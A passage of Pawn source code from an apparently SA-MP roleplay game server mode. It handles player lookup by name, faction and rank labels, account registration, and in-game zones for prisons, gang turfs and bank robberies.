				format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",i,PINFO[i][pName],PINFO[i][pLevel],ttext,rtext,pFPS[i]);
				}
			}
}

		SendMessage(playerid, COLOR_YELLOW2, sstring);
		  }
	   }
	}


			 SendMessage(playerid, COLOR_YELLOW2, "Error: Too many players matched your search");
		  }
		  else
		  {
			 SendMessage(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
		  }
	   }
	   userid = INVALID_PLAYER_ID;
	}
	return userid; // INVALID_PLAYER_ID for bad return
}


// By SiNaGaMeR
stock ReturnUser6(text[], playerid = INVALID_PLAYER_ID)// By SiNaGaMeR ;) ye bakhshi az esmesho bezani yaroo ro find mikone
{
	new pos = 0;
	while (text[pos] < 0x21) // Strip out leading spaces
	{
	   if (text[pos] == 0) return INVALID_PLAYER_ID; // No passed text
	   pos++;
	}
	new userid = INVALID_PLAYER_ID;
	if (IsNumeric(text[pos])) // Check whole passed string
	{
	   // If they have a numeric name you have a problem (although names are checked on id failure)
	   userid = strval(text[pos]);
	   if (userid >=0 && userid < (MAX_PLAYERS-MAX_NPCC))
	   {
		  if(!IsPlayerConnected(userid))
		  {
			 userid = INVALID_PLAYER_ID;
		  }
		  else
		  {
			 return userid; // A player was found
		  }
	   }
	}
	// They entered [part of] a name or the id search failed (check names just incase)
	new len = strlen(text[pos]);
	new count = 0;
	new name[MAX_PLAYER_NAME];
	for (new i = 0; i < (MAX_PLAYERS-MAX_NPCC); i++)
	{
	   if (IsPlayerConnected(i))
	   {
		  GetPlayerName(i, name, sizeof (name));
			if(strfind(name, text[pos], true) != -1)
		  //if (strcmp(name, text[pos], true, len) == 0) // Check segment of name
		  {
			 if (len == strlen(name)) // Exact match
			 {
				return i; // Return the exact player on an exact match
			 }
			 else // Partial match
			 {
				count++;
				userid = i;
			 }
		  }
	   }
	}
	if (count != 1)
	{
	   if (playerid != INVALID_PLAYER_ID)
	   {
		  if (count)
		  {
			for (new i = 0; i < (MAX_PLAYERS-MAX_NPCC); i++)
	{
	   if (IsPlayerConnected(i))
	   {
		  GetPlayerName(i, name, sizeof (name));
			if(strfind(name, text[pos], true) != -1)
		  //if (strcmp(name, text[pos], true, len) == 0) // Check segment of name
		  {
	   new sstring[256];
	   new ttext[50];
	   if(PlayerInfo[i][pMember] == 2 || PlayerInfo[i][pLeader] == 2) { ttext = "{0000CC}Federal Bureau of Investigation"; }
		else if(PlayerInfo[i][pMember] == 1 || PlayerInfo[i][pLeader] == 1) { ttext = "{0000ff}Police Departament"; }
		else if(PlayerInfo[i][pMember] == 3 || PlayerInfo[i][pLeader] == 3) { ttext = "{2c4c9b}National Guard"; }
		else if(PlayerInfo[i][pMember] == 5 || PlayerInfo[i][pLeader] == 5) { ttext = "{5D7E8D}The Silence Mafia"; }
		else if(PlayerInfo[i][pMember] == 6 || PlayerInfo[i][pLeader] == 6) { ttext = "{3E3535}The Killers Family"; }
		else if(PlayerInfo[i][pMember] == 12 || PlayerInfo[i][pLeader] == 12) { ttext = "{19AF23}Dangerous Tiger Family"; }
		else if(PlayerInfo[i][pMember] == 13 || PlayerInfo[i][pLeader] == 13) { ttext = "{FFBA00}Legendary Men Family"; }
		else if(PlayerInfo[i][pMember] == 14 || PlayerInfo[i][pLeader] == 14) { ttext = "{B32CF6}Fast N Furious Family"; }
		else if(PlayerInfo[i][pMember] == 15 || PlayerInfo[i][pLeader] == 15) { ttext = "{00ECEC}Storm Men Family"; }
		else if(PlayerInfo[i][pMember] == 7 || PlayerInfo[i][pLeader] == 7) { ttext = "{BBF060}Mayor"; }
		else if(PlayerInfo[i][pMember] == 8 || PlayerInfo[i][pLeader] == 8) { ttext = "{8E2323}Hitman Agency"; }
		else if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4) { ttext = "{FF4500}Fire & Medic Department"; }
		else if(PlayerInfo[i][pMember] == 9 || PlayerInfo[i][pLeader] == 9) { ttext = "{825B8C}News Reporter"; }
		else if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10) { ttext = "{FFFF00}Taxi Drivers"; }
		else if(PlayerInfo[i][pMember] == 16 || PlayerInfo[i][pLeader] == 16) { ttext = "{F9F7CE}Tow Truck Company"; }
		else if(PlayerInfo[i][pMember] == 11 || PlayerInfo[i][pLeader] == 11) { ttext = "{00a6ff}School Instructor"; }
		else if(PlayerInfo[i][pMember] == 17 || PlayerInfo[i][pLeader] == 17) { ttext = "{FF0000}Staff Family"; }
		else if(PlayerInfo[i][pMember] == 19 || PlayerInfo[i][pLeader] == 19) { ttext = "{0E47FF}Top Boys Family"; }
		else if(PlayerInfo[i][pMember] == 20 || PlayerInfo[i][pLeader] == 20) { ttext = "{60F565}San Fiero Police Departement"; }
		//else if(PlayerInfo[i][pSoldier] != 0 || PlayerInfo[i][pLeader] == 21) { ttext = "{7D633B}Soldier"; }
	   else { ttext = "Civilian"; }
	   // End faction
	   // Start Rank
	   new rtext[64];
	   if(PlayerInfo[i][pMember] == 1 || PlayerInfo[i][pLeader] == 1)//PD Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 2 || PlayerInfo[i][pLeader] == 2)//DEA Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 3 || PlayerInfo[i][pLeader] == 3)//NG Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 4 || PlayerInfo[i][pLeader] == 4)//Medic Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 5 || PlayerInfo[i][pLeader] == 5)//Da Nang Boys Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 6 || PlayerInfo[i][pLeader] == 6)//Triads Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 7)//Mayor ranks
	   {
		  if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 8 || PlayerInfo[i][pLeader] == 8)//Hitman Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 9 || PlayerInfo[i][pLeader] == 9)//NR Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }
	   }
	   else if(PlayerInfo[i][pMember] == 10 || PlayerInfo[i][pLeader] == 10)//Taxi Company Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }
	   }
	   else if(IsAnInstructor(i))//Driving/Flying School Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }
	   }
	   else if(PlayerInfo[i][pMember] == 12 || PlayerInfo[i][pLeader] == 12)//Grove Street Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
		else if(PlayerInfo[i][pMember] == 17 || PlayerInfo[i][pLeader] == 17)//Grove Street Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
		else if(PlayerInfo[i][pMember] == 19 || PlayerInfo[i][pLeader] == 19)//Grove Street Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
		else if(PlayerInfo[i][pMember] == 20 || PlayerInfo[i][pLeader] == 20)//Grove Street Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 13 || PlayerInfo[i][pLeader] == 13)//Vagos Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 14 || PlayerInfo[i][pLeader] == 14)//FastNFarious Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 15 || PlayerInfo[i][pLeader] == 15)//VLA Family Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }

	   }
	   else if(PlayerInfo[i][pMember] == 16 || PlayerInfo[i][pLeader] == 16)//TCC Ranks
	   {
		  if(PlayerInfo[i][pRank] == 1) { rtext = "1"; }
		  else if(PlayerInfo[i][pRank] == 2) { rtext = "2"; }
		  else if(PlayerInfo[i][pRank] == 3) { rtext = "3"; }
		  else if(PlayerInfo[i][pRank] == 4) { rtext = "4"; }
		  else if(PlayerInfo[i][pRank] == 5) { rtext = "5"; }
		  else if(PlayerInfo[i][pRank] == 6) { rtext = "Sub-Leader"; }
		  else if(PlayerInfo[i][pRank] == 7) { rtext = "Leader"; }
	   }
	   else
	   {
		  rtext = "None";
	   }
	   // End Rank
		new afk[40];
		if(AFK[i] == 1 || AFKTime[i] > 70)  {afk = "(AFK) ";}
		if(AFK[i] == 0 && AFKTime[i] < 70)  {afk = "";}
		if(PINFO[i][pClan] != 0) {
		if(DynamicClans[PINFO[i][pClan]-1][cBB] == 1) {
	   format(sstring, sizeof(sstring), "ID:(%d) {%s}[%s]{F9F7CE}%s | Level: %d %s| Faction: %s {F9F7CE}(%s)",i,DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pName],PINFO[i][pLevel],afk,ttext,rtext);
		}
		else if(DynamicClans[PINFO[i][pClan]-1][cBB] == 2) {
	   format(sstring, sizeof(sstring), "ID:(%d) %s{%s}[%s] {F9F7CE}| Level: %d %s| Faction: %s {F9F7CE}(%s)",i,PINFO[i][pName],DynamicClans[PINFO[i][pClan]-1][cColor],DynamicClans[PINFO[i][pClan]-1][cTag],PINFO[i][pLevel],afk,ttext,rtext);
		}
		}
		else {
		format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d %s| Faction: %s {F9F7CE}(%s)",i,PINFO[i][pName],PINFO[i][pLevel],afk,ttext,rtext);
		}
		SendMessage(playerid, COLOR_YELLOW2, sstring);
		  }
	   }
	}


			 SendMessage(playerid, COLOR_YELLOW2, "Error: too many players matched your search");
		  }
		  else
		  {
			 SendMessage(playerid, COLOR_YELLOW2, "Error: player isn't connected.");
		  }
	   }
	   userid = INVALID_PLAYER_ID;
	}
	return userid; // INVALID_PLAYER_ID for bad return
}






ReturnUser2(string[])//By SiNaGaMeR
{
	new ID = INVALID_PLAYER_ID;
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {

		  if(!strcmp(PlayerInfo[i][pName],string,true)) ID = i;
	   }
	}
	return ID;
}
/*ReturnUser4(string[])//By SiNaGaMeR
{
	new Name[MAX_PLAYER_NAME],ID = INVALID_PLAYER_ID;
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  GetPlayerName(i, Name, sizeof (Name));
			if(strfind(Name, string, true) != -1) ID = i;
	   }
	}
	return ID;
}*/
strtokEx(const cmdtext[],idx)//By SiNaGaMeR
{
		  new length = strlen(cmdtext);
		  while ((idx < length) && (cmdtext[idx] <= ' '))
		  {
			 idx++;
		  }
		  new offset = idx;
		  new result[145];
		  while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
		  {
			 result[idx - offset] = cmdtext[idx];
			 idx++;
		  }
		  result[idx - offset] = EOS;
		  return result;
}
/*
strtok(const string[], &index)
{
	new length = strlen(string);
	while ((index < length) && (string[index] <= ' '))
	{
	   index++;
	}

	new offset = index;
	new result[145];
	while ((index < length) && (string[index] > ' ') && ((index - offset) < (sizeof(result) - 1)))
	{
	   result[index - offset] = string[index];
	   index++;
	}
	result[index - offset] = EOS;
	return result;
}

*/

/*strtokLoL(const cmdtext[],idx)
{
	new length = strlen(cmdtext);
	while ((idx < length) && (cmdtext[idx] <= ' '))
	{
	   idx++;
	}
		  new offset = idx;
		  new result[145];
		  while ((idx < length) && ((idx - offset) < (sizeof(result) - 1)))
		  {
			 result[idx - offset] = cmdtext[idx];
			 idx++;
		  }
		  result[idx - offset] = EOS;
		  return result;
}*/

public OnPlayerRegister(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(IsPlayerConnected(playerid))
	{
	   new query2[500];
	mysql_format(handle, query2, 500, "UPDATE `users` SET `pAutoIP`='%e', `pAuto`='0' WHERE `pName`='%e'", PlayerInfo[playerid][pIp], PlayerInfo[playerid][pName]);
		mysql_tquery(handle, query2, "SendQuery", "");
		
			 new loginstring[128];
				TextDrawHideForPlayer(playerid, WelcomeMsg);
				TextDrawHideForPlayer(playerid, SvMsg);
				TextDrawHideForPlayer(playerid, RPGMsg);
			 format(loginstring,sizeof(loginstring),"Account registered, you can login now by typing your password below.\n");
			 ShowPlayerDialog(playerid,12346,DIALOG_STYLE_PASSWORD,"Account Login",loginstring,"Login","Quit");
			 PlayerInfo[playerid][pTut] = 0;
			 SaveKonVal(playerid, "pTut", 0);
				PlayerInfo[playerid][pPin1] = 0;
				SaveKonVal(playerid, "pPin1", 0);
				PlayerInfo[playerid][pPin2] = 0;
				SaveKonVal(playerid, "pPin2", 0);
				PlayerInfo[playerid][pPin3] = 0;
				SaveKonVal(playerid, "pPin3", 0);
				PlayerInfo[playerid][pPin4] = 0;
				SaveKonVal(playerid, "pPin4", 0);
				PINFO[playerid][pPhousekey] = 9999;
				SaveKonVal(playerid, "pPhousekey", 9999);

			 UpdateAkharAcc(playerid);
	}
	return 1;
}
function DoesPlayerHaveAnyWeapons(playerid)
{
	new sweapon, sammo;
		 for (new i=0; i<13; i++)
		 {
			 GetPlayerWeaponData(playerid, i, sweapon, sammo);
			 if(sweapon != 0)
			 {
			   return true;
			 }
		 }
 return false;
}
public OnPlayerEnterDynamicArea(playerid, areaid)
{
if(areaid==PrisonArea)
{
ImInPrison[playerid]=1;
if(!IsAtjail(playerid)&&!IsACop(playerid)){if(IsPlayerInAnyVehicle(playerid)){PrisonOutWarn[playerid]=1;SCM(playerid, COLOR_LIGHTRED, "It's better to leave the Jail Area, or your vehicle will be exploited.");}}
if(YekiFararKarde==1){StartAlarmForPlayer(playerid);}
}
for(new i=0;i<sizeof(SafeZoneAreaRect);i++)
{
if(areaid==SafeZoneAreaRect[i])
{
ImInSafeZone[playerid] = 1;
if(IsPlayerInGame(playerid)&&SafeOn==1)
{
TextDrawShowForPlayer(playerid, SafeZone);
SafeZoneCheck[playerid]=1;
}
}
}
for(new i=0;i<sizeof(Turfs);i++)
{
if(areaid == TurfsX[i])
{
if(GetPlayerInterior(playerid)==0)
{
ImInTurfEx[playerid]=i;
ImInTurfWhat[playerid] = GetPlayerZone(playerid);
ShouldKill[playerid]=1;
}
}
}
	// BOSS by Sina
	if(areaid==BossArea)
	{
		new vehicleid=GetPlayerVehicleID(playerid);
		if(vehicleid!=0)
		{
			new Float:a,Float:x,Float:y;
			GetVehicleZAngle(vehicleid, a);
			x = 0.5 * floatsin(-(a+180), degrees);
			y = 0.5 * floatcos(-(a+180), degrees);
			SetVehicleVelocity(vehicleid, x, y, 0.7);
			SCM(playerid,COLOR_LIGHTRED,"Do not enter the airport area with a vehicle.");
			return 1;
		}
		ShowPlayerBossTD(playerid);
		return 1;
	}
	else if(areaid==BossArea2)
	{
		new Float:x,Float:y,Float:a,vehicleid=GetPlayerVehicleID(playerid);
		if(vehicleid!=0)
		{
			GetVehicleZAngle(vehicleid, a);
			x = 0.5 * floatsin(-(a+180), degrees);
			y = 0.5 * floatcos(-(a+180), degrees);
			SetVehicleVelocity(vehicleid, x, y, 0.7);
		}
		else
		{
			GetPlayerFacingAngle(playerid, a);
			x = 0.5 * floatsin(-(a+180), degrees);
			y = 0.5 * floatcos(-(a+180), degrees);
			SetPlayerVelocity(playerid, x, y, 0.7);
		}
		return 1;
	}
	// ---
new strC[100];
if(areaid == BetShopArea)
{
if(BetShopLock != 1)
{
if(DoesPlayerHaveAnyWeapons(playerid)){SetPlayerArmedWeapon(playerid, 0);}
if(IsPlayerInAnyVehicle(playerid)){RemovePlayerFromVehicle(playerid);SCM(playerid, COLOR_LIGHTRED, "You can't enter to betshop with vehicle.");}
}
}
if(areaid == AreaGirBede || areaid == AreaGirBede2)
{
if(!IsACop(playerid))
{
ImInAreaLS[playerid] = 1;
format(strC, sizeof(strC), "Guard Says: Please leave this area %s", RPName(playerid));
ProxDetector(20.0, playerid, strC,COLOR_FADE1,COLOR_FADE2,COLOR_FADE3,COLOR_FADE4,COLOR_FADE5);
WarnsForEnter[playerid]++;
ImInArea[playerid] = SetTimerEx("ImInAreaCALL", 5000, true, "i", playerid);
}
}
if(areaid == AreaLaser1 || areaid == AreaLaser2)
{
if(!IsACop(playerid))
{
if(sGunner1 == playerid || sGunner2 == playerid || sHacker == playerid || sRunner == playerid)
{
if(GetPlayerWantedLevel(playerid) != 6)
{
WantedBede(playerid, 6, "Bank Robbing", "Suspicious for robbing bank");
format(strC, sizeof(strC), " Cops identified %s(%i) because of lasers.", RPName(playerid), playerid);
SendRobMessage(COLOR_ROB, strC);
}
}
}
}
return 1;
}
function RespawnPlayer(playerid)
{
ResetPlayerKolang(playerid);SetSpawnKol(playerid);SpawnPlayer(playerid);
return 1;
}
public OnPlayerLeaveDynamicArea(playerid, areaid)
{
if(areaid==PrisonArea)
{
PrisonOutWarn[playerid]=0;
ImInPrison[playerid]=0;
if(AzadShode[playerid]==1){AzadShode[playerid]=0;}
if(Mahal[playerid]!=2&&TooHouse[playerid]==9999&&TooBiz[playerid]==9999&&IsAtjail(playerid)&&!IsACop(playerid))
{
new strrs[144];
format(strrs, sizeof(strrs), "[Dep-Warn]: {0069FF}%s is escaping from prison!",RPName(playerid));
SendRadioMessage(1, COLOR_BLUE, strrs);
SendRadioMessage(2, COLOR_BLUE, strrs);
SendRadioMessage(3, COLOR_BLUE, strrs);
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Escaping from Prison",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
SCM(playerid, COLOR_SINARANG, "You escaped successfully from the jail!");
SCM(playerid, COLOR_SINARANG, "Now you should try to escape from cops for 10 minutes.");
FararTime[playerid] = SetTimerEx("AmIEscaped", 600000, false, "i", playerid);
YekiFararKarde=1;
StartPrisonAlarm();
}
if(YekiFararKarde==1){StopSoundForPlayer(playerid);}
}
for(new i=0;i<sizeof(SafeZoneAreaRect);i++)
{
if(areaid==SafeZoneAreaRect[i])
{
ImInSafeZone[playerid] = 0;
if(IsPlayerInGame(playerid)&&SafeOn==1)
{
TextDrawHideForPlayer(playerid, SafeZone);
SafeZoneCheck[playerid]=0;
}
}
}
for(new i=0;i<sizeof(Turfs);i++)
{
if(areaid==TurfsX[i])
{
new turf=ImInTurfWhat[playerid];
if(turfattacker[turf]!=9999)// is on attack
{
if(OnWar[playerid]!=9999&&ShouldKill[playerid]==1)
{
if(!GodmodeFeature[playerid]){SetPlayerKoon(true, playerid, 0);}else{RespawnPlayer(playerid);}
PlayerInfo[playerid][pDeathW] ++;
SaveKonVal(playerid, "pDeathW", PINFO[playerid][pDeathW]);
SCM(playerid, COLOR_Good, "You left war turf. You died.");
if(PlayerInfo[playerid][pMember] == turfattacker[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfattacker[OnWar[playerid]])
{
killskhodturf[OnWar[playerid]] ++;
deathsattacker[playerid] ++;
deathsattackerturf[OnWar[playerid]] ++;
}
if(PlayerInfo[playerid][pMember] == turfkhod[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfkhod[OnWar[playerid]])
{
killsattackerturf[OnWar[playerid]] ++;
deathskhod[playerid] ++;
deathskhodturf[OnWar[playerid]] ++;
}
if(PlayerInfo[playerid][pMember] == turfattacker[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfattacker[OnWar[playerid]])
{
deathsattacker[playerid] ++;
deathsattackerturf[OnWar[playerid]] ++;
}
if(PlayerInfo[playerid][pMember] == turfkhod[OnWar[playerid]] || PlayerInfo[playerid][pLeader] == turfkhod[OnWar[playerid]])
{
deathskhod[playerid] ++;
deathskhodturf[OnWar[playerid]] ++;
}
}
}
ImInTurfEx[playerid]=-1;
}
}
	if(areaid==BossArea)
	{
		HidePlayerBossTD(playerid);
		return 1;
	}
if(areaid == AreaGirBede || areaid == AreaGirBede2)
{
if(!IsACop(playerid))
{
ImInAreaLS[playerid] = 0;
if(ImInArea[playerid]!=0){KillTimer(ImInArea[playerid]);ImInArea[playerid]=0;WarnsForEnter[playerid]=0;}
}
}
return 1;
}
function BankDarRestart()
{
if(LSDarTimer!=0){KillTimer(LSDarTimer);LSDarTimer=0;}
BankMapLSDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
MoveDynamicObject(BankGate1,1394.32825, 1337.39221, 1490.78796, 3);
StopRob();
return 1;
}
function BankDarRestart2()
{
if(LVDarTimer!=0){KillTimer(LVDarTimer);LVDarTimer=0;}
BankMapLVDar1 = CreateDynamicObject(1566 , 1389.640991 , 1331.839355 , 1498.282959 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
MoveDynamicObject(BankGate2,1394.32825, 1337.39221, 1490.78796, 3);
StopRob();
return 1;
}
public OnPlayerShootDynamicObject(playerid, weaponid, STREAMER_TAG_OBJECT:objectid, Float:x, Float:y, Float:z)
{
if(IsAtjail(playerid)&&weaponid==31&&CanGoOut==1&&(objectid==prisonextobjex||objectid==prisonextobjex2)&&PINFO[playerid][pJailTime]<3000&&PINFO[playerid][pJailTime]>800)
{
ImFararing[playerid]=1;
SCM(playerid, COLOR_SINARANG, "You broke whole Jail's power. Also prison's electronic gate broke. You have 10 seconds to escape, else the gate will be fixed.");
OpenPrisonGate();
FararTimeEx[playerid] = SetTimerEx("AmIEscapedEx", 10000, false, "i", playerid);
SetTimer("BebandGatePrison", 10000, 0);
